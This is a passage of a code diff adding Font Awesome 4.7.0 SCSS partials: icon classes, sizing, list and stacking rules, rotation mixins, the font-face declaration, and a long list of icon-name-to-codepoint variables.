.#{$fa-css-prefix}-window-close:before { content: $fa-var-window-close; }
.#{$fa-css-prefix}-times-rectangle-o:before,
.#{$fa-css-prefix}-window-close-o:before { content: $fa-var-window-close-o; }
.#{$fa-css-prefix}-bandcamp:before { content: $fa-var-bandcamp; }
.#{$fa-css-prefix}-grav:before { content: $fa-var-grav; }
.#{$fa-css-prefix}-etsy:before { content: $fa-var-etsy; }
.#{$fa-css-prefix}-imdb:before { content: $fa-var-imdb; }
.#{$fa-css-prefix}-ravelry:before { content: $fa-var-ravelry; }
.#{$fa-css-prefix}-eercast:before { content: $fa-var-eercast; }
.#{$fa-css-prefix}-microchip:before { content: $fa-var-microchip; }
.#{$fa-css-prefix}-snowflake-o:before { content: $fa-var-snowflake-o; }
.#{$fa-css-prefix}-superpowers:before { content: $fa-var-superpowers; }
.#{$fa-css-prefix}-wpexplorer:before { content: $fa-var-wpexplorer; }
.#{$fa-css-prefix}-meetup:before { content: $fa-var-meetup; }

View File

@@ -0,0 +1,13 @@
// Icon Sizes
// -------------------------
/* makes the font 33% larger relative to the icon container */
.#{$fa-css-prefix}-lg {
font-size: (4em / 3);
line-height: (3em / 4);
vertical-align: -15%;
}
.#{$fa-css-prefix}-2x { font-size: 2em; }
.#{$fa-css-prefix}-3x { font-size: 3em; }
.#{$fa-css-prefix}-4x { font-size: 4em; }
.#{$fa-css-prefix}-5x { font-size: 5em; }

View File

@@ -0,0 +1,19 @@
// List Icons
// -------------------------
.#{$fa-css-prefix}-ul {
padding-left: 0;
margin-left: $fa-li-width;
list-style-type: none;
> li { position: relative; }
}
.#{$fa-css-prefix}-li {
position: absolute;
left: -$fa-li-width;
width: $fa-li-width;
top: (2em / 14);
text-align: center;
&.#{$fa-css-prefix}-lg {
left: -$fa-li-width + (4em / 14);
}
}

View File

@@ -0,0 +1,60 @@
// Mixins
// --------------------------
@mixin fa-icon() {
display: inline-block;
font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
font-size: inherit; // can't have font-size inherit on line above, so need to override
text-rendering: auto; // optimizelegibility throws things off #1094
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
@mixin fa-icon-rotate($degrees, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})";
-webkit-transform: rotate($degrees);
-ms-transform: rotate($degrees);
transform: rotate($degrees);
}
@mixin fa-icon-flip($horiz, $vert, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)";
-webkit-transform: scale($horiz, $vert);
-ms-transform: scale($horiz, $vert);
transform: scale($horiz, $vert);
}
// Only display content to screen readers. A la Bootstrap 4.
//
// See: http://a11yproject.com/posts/how-to-hide-content/
@mixin sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0,0,0,0);
border: 0;
}
// Use in conjunction with .sr-only to only display content when it's focused.
//
// Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1
//
// Credit: HTML5 Boilerplate
@mixin sr-only-focusable {
&:active,
&:focus {
position: static;
width: auto;
height: auto;
margin: 0;
overflow: visible;
clip: auto;
}
}

View File

@@ -0,0 +1,15 @@
/* FONT PATH
* -------------------------- */
@font-face {
font-family: 'FontAwesome';
src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'),
url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
// src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
font-weight: normal;
font-style: normal;
}

View File

@@ -0,0 +1,20 @@
// Rotated & Flipped Icons
// -------------------------
.#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
.#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
.#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
.#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
.#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
// Hook for IE8-9
// -------------------------
:root .#{$fa-css-prefix}-rotate-90,
:root .#{$fa-css-prefix}-rotate-180,
:root .#{$fa-css-prefix}-rotate-270,
:root .#{$fa-css-prefix}-flip-horizontal,
:root .#{$fa-css-prefix}-flip-vertical {
filter: none;
}

View File

@@ -0,0 +1,5 @@
// Screen Readers
// -------------------------
.sr-only { @include sr-only(); }
.sr-only-focusable { @include sr-only-focusable(); }

View File

@@ -0,0 +1,20 @@
// Stacked Icons
// -------------------------
.#{$fa-css-prefix}-stack {
position: relative;
display: inline-block;
width: 2em;
height: 2em;
line-height: 2em;
vertical-align: middle;
}
.#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
position: absolute;
left: 0;
width: 100%;
text-align: center;
}
.#{$fa-css-prefix}-stack-1x { line-height: inherit; }
.#{$fa-css-prefix}-stack-2x { font-size: 2em; }
.#{$fa-css-prefix}-inverse { color: $fa-inverse; }

View File

@@ -0,0 +1,800 @@
// Variables
// --------------------------
$fa-font-path: "../fonts" !default;
$fa-font-size-base: 14px !default;
$fa-line-height-base: 1 !default;
//$fa-font-path: "//netdna.bootstrapcdn.com/font-awesome/4.7.0/fonts" !default; // for referencing Bootstrap CDN font files directly
$fa-css-prefix: fa !default;
$fa-version: "4.7.0" !default;
$fa-border-color: #eee !default;
$fa-inverse: #fff !default;
$fa-li-width: (30em / 14) !default;
$fa-var-500px: "\f26e";
$fa-var-address-book: "\f2b9";
$fa-var-address-book-o: "\f2ba";
$fa-var-address-card: "\f2bb";
$fa-var-address-card-o: "\f2bc";
$fa-var-adjust: "\f042";
$fa-var-adn: "\f170";
$fa-var-align-center: "\f037";
$fa-var-align-justify: "\f039";
$fa-var-align-left: "\f036";
$fa-var-align-right: "\f038";
$fa-var-amazon: "\f270";
$fa-var-ambulance: "\f0f9";
$fa-var-american-sign-language-interpreting: "\f2a3";
$fa-var-anchor: "\f13d";
$fa-var-android: "\f17b";
$fa-var-angellist: "\f209";
$fa-var-angle-double-down: "\f103";
$fa-var-angle-double-left: "\f100";
$fa-var-angle-double-right: "\f101";
$fa-var-angle-double-up: "\f102";
$fa-var-angle-down: "\f107";
$fa-var-angle-left: "\f104";
$fa-var-angle-right: "\f105";
$fa-var-angle-up: "\f106";
$fa-var-apple: "\f179";
$fa-var-archive: "\f187";
$fa-var-area-chart: "\f1fe";
$fa-var-arrow-circle-down: "\f0ab";
$fa-var-arrow-circle-left: "\f0a8";
$fa-var-arrow-circle-o-down: "\f01a";
$fa-var-arrow-circle-o-left: "\f190";
$fa-var-arrow-circle-o-right: "\f18e";
$fa-var-arrow-circle-o-up: "\f01b";
$fa-var-arrow-circle-right: "\f0a9";
$fa-var-arrow-circle-up: "\f0aa";
$fa-var-arrow-down: "\f063";
$fa-var-arrow-left: "\f060";
$fa-var-arrow-right: "\f061";
$fa-var-arrow-up: "\f062";
$fa-var-arrows: "\f047";
$fa-var-arrows-alt: "\f0b2";
$fa-var-arrows-h: "\f07e";
$fa-var-arrows-v: "\f07d";
$fa-var-asl-interpreting: "\f2a3";
$fa-var-assistive-listening-systems: "\f2a2";
$fa-var-asterisk: "\f069";
$fa-var-at: "\f1fa";
$fa-var-audio-description: "\f29e";
$fa-var-automobile: "\f1b9";
$fa-var-backward: "\f04a";
$fa-var-balance-scale: "\f24e";
$fa-var-ban: "\f05e";
$fa-var-bandcamp: "\f2d5";
$fa-var-bank: "\f19c";
$fa-var-bar-chart: "\f080";
$fa-var-bar-chart-o: "\f080";
$fa-var-barcode: "\f02a";
$fa-var-bars: "\f0c9";
$fa-var-bath: "\f2cd";
$fa-var-bathtub: "\f2cd";
$fa-var-battery: "\f240";
$fa-var-battery-0: "\f244";
$fa-var-battery-1: "\f243";
$fa-var-battery-2: "\f242";
$fa-var-battery-3: "\f241";
$fa-var-battery-4: "\f240";
$fa-var-battery-empty: "\f244";
$fa-var-battery-full: "\f240";
$fa-var-battery-half: "\f242";
$fa-var-battery-quarter: "\f243";
$fa-var-battery-three-quarters: "\f241";
$fa-var-bed: "\f236";
$fa-var-beer: "\f0fc";
$fa-var-behance: "\f1b4";
$fa-var-behance-square: "\f1b5";
$fa-var-bell: "\f0f3";
$fa-var-bell-o: "\f0a2";
$fa-var-bell-slash: "\f1f6";
$fa-var-bell-slash-o: "\f1f7";
$fa-var-bicycle: "\f206";
$fa-var-binoculars: "\f1e5";
$fa-var-birthday-cake: "\f1fd";
$fa-var-bitbucket: "\f171";
$fa-var-bitbucket-square: "\f172";
$fa-var-bitcoin: "\f15a";
$fa-var-black-tie: "\f27e";
$fa-var-blind: "\f29d";
$fa-var-bluetooth: "\f293";
$fa-var-bluetooth-b: "\f294";
$fa-var-bold: "\f032";
$fa-var-bolt: "\f0e7";
$fa-var-bomb: "\f1e2";
$fa-var-book: "\f02d";
$fa-var-bookmark: "\f02e";
$fa-var-bookmark-o: "\f097";
$fa-var-braille: "\f2a1";
$fa-var-briefcase: "\f0b1";
$fa-var-btc: "\f15a";
$fa-var-bug: "\f188";
$fa-var-building: "\f1ad";
$fa-var-building-o: "\f0f7";
$fa-var-bullhorn: "\f0a1";
$fa-var-bullseye: "\f140";
$fa-var-bus: "\f207";
$fa-var-buysellads: "\f20d";
$fa-var-cab: "\f1ba";
$fa-var-calculator: "\f1ec";
$fa-var-calendar: "\f073";
$fa-var-calendar-check-o: "\f274";
$fa-var-calendar-minus-o: "\f272";
$fa-var-calendar-o: "\f133";
$fa-var-calendar-plus-o: "\f271";
$fa-var-calendar-times-o: "\f273";
$fa-var-camera: "\f030";
$fa-var-camera-retro: "\f083";
$fa-var-car: "\f1b9";
$fa-var-caret-down: "\f0d7";
$fa-var-caret-left: "\f0d9";
$fa-var-caret-right: "\f0da";
$fa-var-caret-square-o-down: "\f150";
$fa-var-caret-square-o-left: "\f191";
$fa-var-caret-square-o-right: "\f152";
$fa-var-caret-square-o-up: "\f151";
$fa-var-caret-up: "\f0d8";
$fa-var-cart-arrow-down: "\f218";
$fa-var-cart-plus: "\f217";
$fa-var-cc: "\f20a";
$fa-var-cc-amex: "\f1f3";
$fa-var-cc-diners-club: "\f24c";
$fa-var-cc-discover: "\f1f2";
$fa-var-cc-jcb: "\f24b";
$fa-var-cc-mastercard: "\f1f1";
$fa-var-cc-paypal: "\f1f4";
$fa-var-cc-stripe: "\f1f5";
$fa-var-cc-visa: "\f1f0";
$fa-var-certificate: "\f0a3";
$fa-var-chain: "\f0c1";
$fa-var-chain-broken: "\f127";
$fa-var-check: "\f00c";
$fa-var-check-circle: "\f058";
$fa-var-check-circle-o: "\f05d";
$fa-var-check-square: "\f14a";
$fa-var-check-square-o: "\f046";
$fa-var-chevron-circle-down: "\f13a";
$fa-var-chevron-circle-left: "\f137";
$fa-var-chevron-circle-right: "\f138";
$fa-var-chevron-circle-up: "\f139";
$fa-var-chevron-down: "\f078";
$fa-var-chevron-left: "\f053";
$fa-var-chevron-right: "\f054";
$fa-var-chevron-up: "\f077";
$fa-var-child: "\f1ae";
$fa-var-chrome: "\f268";
$fa-var-circle: "\f111";
$fa-var-circle-o: "\f10c";
$fa-var-circle-o-notch: "\f1ce";
$fa-var-circle-thin: "\f1db";
$fa-var-clipboard: "\f0ea";
$fa-var-clock-o: "\f017";
$fa-var-clone: "\f24d";
$fa-var-close: "\f00d";
$fa-var-cloud: "\f0c2";
$fa-var-cloud-download: "\f0ed";
$fa-var-cloud-upload: "\f0ee";
$fa-var-cny: "\f157";
$fa-var-code: "\f121";
$fa-var-code-fork: "\f126";
$fa-var-codepen: "\f1cb";
$fa-var-codiepie: "\f284";
$fa-var-coffee: "\f0f4";
$fa-var-cog: "\f013";
$fa-var-cogs: "\f085";
$fa-var-columns: "\f0db";
$fa-var-comment: "\f075";
$fa-var-comment-o: "\f0e5";
$fa-var-commenting: "\f27a";
$fa-var-commenting-o: "\f27b";
$fa-var-comments: "\f086";
$fa-var-comments-o: "\f0e6";
$fa-var-compass: "\f14e";
$fa-var-compress: "\f066";
$fa-var-connectdevelop: "\f20e";
$fa-var-contao: "\f26d";
$fa-var-copy: "\f0c5";
$fa-var-copyright: "\f1f9";
$fa-var-creative-commons: "\f25e";
$fa-var-credit-card: "\f09d";
$fa-var-credit-card-alt: "\f283";
$fa-var-crop: "\f125";
$fa-var-crosshairs: "\f05b";
$fa-var-css3: "\f13c";
$fa-var-cube: "\f1b2";
$fa-var-cubes: "\f1b3";
$fa-var-cut: "\f0c4";
$fa-var-cutlery: "\f0f5";
$fa-var-dashboard: "\f0e4";
$fa-var-dashcube: "\f210";
$fa-var-database: "\f1c0";
$fa-var-deaf: "\f2a4";
$fa-var-deafness: "\f2a4";
$fa-var-dedent: "\f03b";
$fa-var-delicious: "\f1a5";
$fa-var-desktop: "\f108";
$fa-var-deviantart: "\f1bd";
$fa-var-diamond: "\f219";
$fa-var-digg: "\f1a6";
$fa-var-dollar: "\f155";
$fa-var-dot-circle-o: "\f192";
$fa-var-download: "\f019";
$fa-var-dribbble: "\f17d";
$fa-var-drivers-license: "\f2c2";
$fa-var-drivers-license-o: "\f2c3";
$fa-var-dropbox: "\f16b";
$fa-var-drupal: "\f1a9";
$fa-var-edge: "\f282";
$fa-var-edit: "\f044";
$fa-var-eercast: "\f2da";
$fa-var-eject: "\f052";
$fa-var-ellipsis-h: "\f141";
$fa-var-ellipsis-v: "\f142";
$fa-var-empire: "\f1d1";
$fa-var-envelope: "\f0e0";
$fa-var-envelope-o: "\f003";
$fa-var-envelope-open: "\f2b6";
$fa-var-envelope-open-o: "\f2b7";
$fa-var-envelope-square: "\f199";
$fa-var-envira: "\f299";
$fa-var-eraser: "\f12d";
$fa-var-etsy: "\f2d7";
$fa-var-eur: "\f153";
$fa-var-euro: "\f153";
$fa-var-exchange: "\f0ec";
$fa-var-exclamation: "\f12a";
$fa-var-exclamation-circle: "\f06a";
$fa-var-exclamation-triangle: "\f071";
$fa-var-expand: "\f065";
$fa-var-expeditedssl: "\f23e";
$fa-var-external-link: "\f08e";
$fa-var-external-link-square: "\f14c";
$fa-var-eye: "\f06e";
$fa-var-eye-slash: "\f070";
$fa-var-eyedropper: "\f1fb";
$fa-var-fa: "\f2b4";
$fa-var-facebook: "\f09a";
$fa-var-facebook-f: "\f09a";
$fa-var-facebook-official: "\f230";
$fa-var-facebook-square: "\f082";
$fa-var-fast-backward: "\f049";
$fa-var-fast-forward: "\f050";
$fa-var-fax: "\f1ac";
$fa-var-feed: "\f09e";
$fa-var-female: "\f182";
$fa-var-fighter-jet: "\f0fb";
$fa-var-file: "\f15b";
$fa-var-file-archive-o: "\f1c6";
$fa-var-file-audio-o: "\f1c7";
$fa-var-file-code-o: "\f1c9";
$fa-var-file-excel-o: "\f1c3";
$fa-var-file-image-o: "\f1c5";
$fa-var-file-movie-o: "\f1c8";
$fa-var-file-o: "\f016";
$fa-var-file-pdf-o: "\f1c1";
$fa-var-file-photo-o: "\f1c5";
$fa-var-file-picture-o: "\f1c5";
$fa-var-file-powerpoint-o: "\f1c4";
$fa-var-file-sound-o: "\f1c7";
$fa-var-file-text: "\f15c";
$fa-var-file-text-o: "\f0f6";
$fa-var-file-video-o: "\f1c8";
$fa-var-file-word-o: "\f1c2";
$fa-var-file-zip-o: "\f1c6";
$fa-var-files-o: "\f0c5";
$fa-var-film: "\f008";
$fa-var-filter: "\f0b0";
$fa-var-fire: "\f06d";
$fa-var-fire-extinguisher: "\f134";
$fa-var-firefox: "\f269";
$fa-var-first-order: "\f2b0";
$fa-var-flag: "\f024";
$fa-var-flag-checkered: "\f11e";
$fa-var-flag-o: "\f11d";
$fa-var-flash: "\f0e7";
$fa-var-flask: "\f0c3";
$fa-var-flickr: "\f16e";
$fa-var-floppy-o: "\f0c7";
$fa-var-folder: "\f07b";
$fa-var-folder-o: "\f114";
$fa-var-folder-open: "\f07c";
$fa-var-folder-open-o: "\f115";
$fa-var-font: "\f031";
$fa-var-font-awesome: "\f2b4";
$fa-var-fonticons: "\f280";
$fa-var-fort-awesome: "\f286";
$fa-var-forumbee: "\f211";
$fa-var-forward: "\f04e";
$fa-var-foursquare: "\f180";
$fa-var-free-code-camp: "\f2c5";
$fa-var-frown-o: "\f119";
$fa-var-futbol-o: "\f1e3";
$fa-var-gamepad: "\f11b";
$fa-var-gavel: "\f0e3";
$fa-var-gbp: "\f154";
$fa-var-ge: "\f1d1";
$fa-var-gear: "\f013";
$fa-var-gears: "\f085";
$fa-var-genderless: "\f22d";
$fa-var-get-pocket: "\f265";
$fa-var-gg: "\f260";
$fa-var-gg-circle: "\f261";
$fa-var-gift: "\f06b";
$fa-var-git: "\f1d3";
$fa-var-git-square: "\f1d2";
$fa-var-github: "\f09b";
$fa-var-github-alt: "\f113";
$fa-var-github-square: "\f092";
$fa-var-gitlab: "\f296";
$fa-var-gittip: "\f184";
$fa-var-glass: "\f000";
$fa-var-glide: "\f2a5";
$fa-var-glide-g: "\f2a6";
$fa-var-globe: "\f0ac";
$fa-var-google: "\f1a0";
$fa-var-google-plus: "\f0d5";
$fa-var-google-plus-circle: "\f2b3";
$fa-var-google-plus-official: "\f2b3";
$fa-var-google-plus-square: "\f0d4";
$fa-var-google-wallet: "\f1ee";
$fa-var-graduation-cap: "\f19d";
$fa-var-gratipay: "\f184";
$fa-var-grav: "\f2d6";
$fa-var-group: "\f0c0";
$fa-var-h-square: "\f0fd";
$fa-var-hacker-news: "\f1d4";
$fa-var-hand-grab-o: "\f255";
$fa-var-hand-lizard-o: "\f258";
$fa-var-hand-o-down: "\f0a7";
$fa-var-hand-o-left: "\f0a5";
$fa-var-hand-o-right: "\f0a4";
$fa-var-hand-o-up: "\f0a6";
$fa-var-hand-paper-o: "\f256";
$fa-var-hand-peace-o: "\f25b";
$fa-var-hand-pointer-o: "\f25a";
$fa-var-hand-rock-o: "\f255";
$fa-var-hand-scissors-o: "\f257";
$fa-var-hand-spock-o: "\f259";
$fa-var-hand-stop-o: "\f256";
$fa-var-handshake-o: "\f2b5";
$fa-var-hard-of-hearing: "\f2a4";
$fa-var-hashtag: "\f292";
$fa-var-hdd-o: "\f0a0";
$fa-var-header: "\f1dc";
$fa-var-headphones: "\f025";
$fa-var-heart: "\f004";
$fa-var-heart-o: "\f08a";
$fa-var-heartbeat: "\f21e";
$fa-var-history: "\f1da";
$fa-var-home: "\f015";
$fa-var-hospital-o: "\f0f8";
$fa-var-hotel: "\f236";
$fa-var-hourglass: "\f254";
$fa-var-hourglass-1: "\f251";
$fa-var-hourglass-2: "\f252";
$fa-var-hourglass-3: "\f253";
$fa-var-hourglass-end: "\f253";
$fa-var-hourglass-half: "\f252";
$fa-var-hourglass-o: "\f250";
$fa-var-hourglass-start: "\f251";
$fa-var-houzz: "\f27c";
$fa-var-html5: "\f13b";
$fa-var-i-cursor: "\f246";
$fa-var-id-badge: "\f2c1";
$fa-var-id-card: "\f2c2";
$fa-var-id-card-o: "\f2c3";
$fa-var-ils: "\f20b";
$fa-var-image: "\f03e";
$fa-var-imdb: "\f2d8";
$fa-var-inbox: "\f01c";
$fa-var-indent: "\f03c";
$fa-var-industry: "\f275";
$fa-var-info: "\f129";
$fa-var-info-circle: "\f05a";
$fa-var-inr: "\f156";
$fa-var-instagram: "\f16d";
$fa-var-institution: "\f19c";
$fa-var-internet-explorer: "\f26b";
$fa-var-intersex: "\f224";
$fa-var-ioxhost: "\f208";
$fa-var-italic: "\f033";
$fa-var-joomla: "\f1aa";
$fa-var-jpy: "\f157";
$fa-var-jsfiddle: "\f1cc";
$fa-var-key: "\f084";
$fa-var-keyboard-o: "\f11c";
$fa-var-krw: "\f159";
$fa-var-language: "\f1ab";
$fa-var-laptop: "\f109";
$fa-var-lastfm: "\f202";
$fa-var-lastfm-square: "\f203";
$fa-var-leaf: "\f06c";
$fa-var-leanpub: "\f212";
$fa-var-legal: "\f0e3";
$fa-var-lemon-o: "\f094";
$fa-var-level-down: "\f149";
$fa-var-level-up: "\f148";
$fa-var-life-bouy: "\f1cd";
$fa-var-life-buoy: "\f1cd";
$fa-var-life-ring: "\f1cd";
$fa-var-life-saver: "\f1cd";
$fa-var-lightbulb-o: "\f0eb";
$fa-var-line-chart: "\f201";
$fa-var-link: "\f0c1";
$fa-var-linkedin: "\f0e1";
$fa-var-linkedin-square: "\f08c";
$fa-var-linode: "\f2b8";
$fa-var-linux: "\f17c";
$fa-var-list: "\f03a";
$fa-var-list-alt: "\f022";
$fa-var-list-ol: "\f0cb";
$fa-var-list-ul: "\f0ca";
$fa-var-location-arrow: "\f124";
$fa-var-lock: "\f023";
$fa-var-long-arrow-down: "\f175";
$fa-var-long-arrow-left: "\f177";
$fa-var-long-arrow-right: "\f178";
$fa-var-long-arrow-up: "\f176";
$fa-var-low-vision: "\f2a8";
$fa-var-magic: "\f0d0";
$fa-var-magnet: "\f076";
$fa-var-mail-forward: "\f064";
$fa-var-mail-reply: "\f112";
$fa-var-mail-reply-all: "\f122";
$fa-var-male: "\f183";
$fa-var-map: "\f279";
$fa-var-map-marker: "\f041";
$fa-var-map-o: "\f278";
$fa-var-map-pin: "\f276";
$fa-var-map-signs: "\f277";
$fa-var-mars: "\f222";
$fa-var-mars-double: "\f227";
$fa-var-mars-stroke: "\f229";
$fa-var-mars-stroke-h: "\f22b";
$fa-var-mars-stroke-v: "\f22a";
$fa-var-maxcdn: "\f136";
$fa-var-meanpath: "\f20c";
$fa-var-medium: "\f23a";
$fa-var-medkit: "\f0fa";
$fa-var-meetup: "\f2e0";
$fa-var-meh-o: "\f11a";
$fa-var-mercury: "\f223";
$fa-var-microchip: "\f2db";
$fa-var-microphone: "\f130";
$fa-var-microphone-slash: "\f131";
$fa-var-minus: "\f068";
$fa-var-minus-circle: "\f056";
$fa-var-minus-square: "\f146";
$fa-var-minus-square-o: "\f147";
$fa-var-mixcloud: "\f289";
$fa-var-mobile: "\f10b";
$fa-var-mobile-phone: "\f10b";
$fa-var-modx: "\f285";
$fa-var-money: "\f0d6";
$fa-var-moon-o: "\f186";
$fa-var-mortar-board: "\f19d";
$fa-var-motorcycle: "\f21c";
$fa-var-mouse-pointer: "\f245";
$fa-var-music: "\f001";
$fa-var-navicon: "\f0c9";
$fa-var-neuter: "\f22c";
$fa-var-newspaper-o: "\f1ea";
$fa-var-object-group: "\f247";
$fa-var-object-ungroup: "\f248";
$fa-var-odnoklassniki: "\f263";
$fa-var-odnoklassniki-square: "\f264";
$fa-var-opencart: "\f23d";
$fa-var-openid: "\f19b";
$fa-var-opera: "\f26a";
$fa-var-optin-monster: "\f23c";
$fa-var-outdent: "\f03b";
$fa-var-pagelines: "\f18c";
$fa-var-paint-brush: "\f1fc";
$fa-var-paper-plane: "\f1d8";
$fa-var-paper-plane-o: "\f1d9";
$fa-var-paperclip: "\f0c6";
$fa-var-paragraph: "\f1dd";
$fa-var-paste: "\f0ea";
$fa-var-pause: "\f04c";
$fa-var-pause-circle: "\f28b";
$fa-var-pause-circle-o: "\f28c";
$fa-var-paw: "\f1b0";
$fa-var-paypal: "\f1ed";
$fa-var-pencil: "\f040";
$fa-var-pencil-square: "\f14b";
$fa-var-pencil-square-o: "\f044";
$fa-var-percent: "\f295";
$fa-var-phone: "\f095";
$fa-var-phone-square: "\f098";
$fa-var-photo: "\f03e";
$fa-var-picture-o: "\f03e";
$fa-var-pie-chart: "\f200";
$fa-var-pied-piper: "\f2ae";
$fa-var-pied-piper-alt: "\f1a8";
$fa-var-pied-piper-pp: "\f1a7";
$fa-var-pinterest: "\f0d2";
$fa-var-pinterest-p: "\f231";
$fa-var-pinterest-square: "\f0d3";
$fa-var-plane: "\f072";
$fa-var-play: "\f04b";
$fa-var-play-circle: "\f144";
$fa-var-play-circle-o: "\f01d";
$fa-var-plug: "\f1e6";
$fa-var-plus: "\f067";
$fa-var-plus-circle: "\f055";
$fa-var-plus-square: "\f0fe";
$fa-var-plus-square-o: "\f196";
$fa-var-podcast: "\f2ce";
$fa-var-power-off: "\f011";
$fa-var-print: "\f02f";
$fa-var-product-hunt: "\f288";
$fa-var-puzzle-piece: "\f12e";
$fa-var-qq: "\f1d6";
$fa-var-qrcode: "\f029";
$fa-var-question: "\f128";
$fa-var-question-circle: "\f059";
$fa-var-question-circle-o: "\f29c";
$fa-var-quora: "\f2c4";
$fa-var-quote-left: "\f10d";
$fa-var-quote-right: "\f10e";
$fa-var-ra: "\f1d0";
$fa-var-random: "\f074";
$fa-var-ravelry: "\f2d9";
$fa-var-rebel: "\f1d0";
$fa-var-recycle: "\f1b8";
$fa-var-reddit: "\f1a1";
$fa-var-reddit-alien: "\f281";
$fa-var-reddit-square: "\f1a2";
$fa-var-refresh: "\f021";
$fa-var-registered: "\f25d";
$fa-var-remove: "\f00d";
$fa-var-renren: "\f18b";
$fa-var-reorder: "\f0c9";
$fa-var-repeat: "\f01e";
$fa-var-reply: "\f112";
$fa-var-reply-all: "\f122";
$fa-var-resistance: "\f1d0";
$fa-var-retweet: "\f079";
$fa-var-rmb: "\f157";
$fa-var-road: "\f018";
$fa-var-rocket: "\f135";
$fa-var-rotate-left: "\f0e2";
$fa-var-rotate-right: "\f01e";
$fa-var-rouble: "\f158";
$fa-var-rss: "\f09e";
$fa-var-rss-square: "\f143";
$fa-var-rub: "\f158";
$fa-var-ruble: "\f158";
$fa-var-rupee: "\f156";
$fa-var-s15: "\f2cd";
$fa-var-safari: "\f267";
$fa-var-save: "\f0c7";
$fa-var-scissors: "\f0c4";
$fa-var-scribd: "\f28a";
$fa-var-search: "\f002";
$fa-var-search-minus: "\f010";
$fa-var-search-plus: "\f00e";
$fa-var-sellsy: "\f213";
$fa-var-send: "\f1d8";
$fa-var-send-o: "\f1d9";
$fa-var-server: "\f233";
$fa-var-share: "\f064";
$fa-var-share-alt: "\f1e0";
$fa-var-share-alt-square: "\f1e1";
$fa-var-share-square: "\f14d";
$fa-var-share-square-o: "\f045";
$fa-var-shekel: "\f20b";
$fa-var-sheqel: "\f20b";
$fa-var-shield: "\f132";
$fa-var-ship: "\f21a";
$fa-var-shirtsinbulk: "\f214";
$fa-var-shopping-bag: "\f290";
$fa-var-shopping-basket: "\f291";
$fa-var-shopping-cart: "\f07a";
$fa-var-shower: "\f2cc";
$fa-var-sign-in: "\f090";
$fa-var-sign-language: "\f2a7";
$fa-var-sign-out: "\f08b";
$fa-var-signal: "\f012";
$fa-var-signing: "\f2a7";
$fa-var-simplybuilt: "\f215";
$fa-var-sitemap: "\f0e8";
$fa-var-skyatlas: "\f216";
$fa-var-skype: "\f17e";
$fa-var-slack: "\f198";
$fa-var-sliders: "\f1de";
$fa-var-slideshare: "\f1e7";
$fa-var-smile-o: "\f118";
$fa-var-snapchat: "\f2ab";
$fa-var-snapchat-ghost: "\f2ac";
$fa-var-snapchat-square: "\f2ad";
$fa-var-snowflake-o: "\f2dc";
$fa-var-soccer-ball-o: "\f1e3";
$fa-var-sort: "\f0dc";
$fa-var-sort-alpha-asc: "\f15d";
$fa-var-sort-alpha-desc: "\f15e";
$fa-var-sort-amount-asc: "\f160";
$fa-var-sort-amount-desc: "\f161";
$fa-var-sort-asc: "\f0de";
$fa-var-sort-desc: "\f0dd";
$fa-var-sort-down: "\f0dd";
$fa-var-sort-numeric-asc: "\f162";
$fa-var-sort-numeric-desc: "\f163";
$fa-var-sort-up: "\f0de";
$fa-var-soundcloud: "\f1be";
$fa-var-space-shuttle: "\f197";
$fa-var-spinner: "\f110";
$fa-var-spoon: "\f1b1";
$fa-var-spotify: "\f1bc";
$fa-var-square: "\f0c8";
$fa-var-square-o: "\f096";
$fa-var-stack-exchange: "\f18d";
$fa-var-stack-overflow: "\f16c";
$fa-var-star: "\f005";
$fa-var-star-half: "\f089";
$fa-var-star-half-empty: "\f123";
$fa-var-star-half-full: "\f123";
$fa-var-star-half-o: "\f123";
$fa-var-star-o: "\f006";
$fa-var-steam: "\f1b6";
$fa-var-steam-square: "\f1b7";
$fa-var-step-backward: "\f048";
$fa-var-step-forward: "\f051";
$fa-var-stethoscope: "\f0f1";
$fa-var-sticky-note: "\f249";
$fa-var-sticky-note-o: "\f24a";
$fa-var-stop: "\f04d";
$fa-var-stop-circle: "\f28d";
$fa-var-stop-circle-o: "\f28e";
$fa-var-street-view: "\f21d";
$fa-var-strikethrough: "\f0cc";
$fa-var-stumbleupon: "\f1a4";
$fa-var-stumbleupon-circle: "\f1a3";
$fa-var-subscript: "\f12c";
$fa-var-subway: "\f239";
$fa-var-suitcase: "\f0f2";
$fa-var-sun-o: "\f185";
$fa-var-superpowers: "\f2dd";
$fa-var-superscript: "\f12b";
$fa-var-support: "\f1cd";
$fa-var-table: "\f0ce";
$fa-var-tablet: "\f10a";
$fa-var-tachometer: "\f0e4";
$fa-var-tag: "\f02b";
$fa-var-tags: "\f02c";
$fa-var-tasks: "\f0ae";
$fa-var-taxi: "\f1ba";
$fa-var-telegram: "\f2c6";
$fa-var-television: "\f26c";
$fa-var-tencent-weibo: "\f1d5";
$fa-var-terminal: "\f120";
$fa-var-text-height: "\f034";
$fa-var-text-width: "\f035";
$fa-var-th: "\f00a";
$fa-var-th-large: "\f009";
$fa-var-th-list: "\f00b";
$fa-var-themeisle: "\f2b2";
$fa-var-thermometer: "\f2c7";
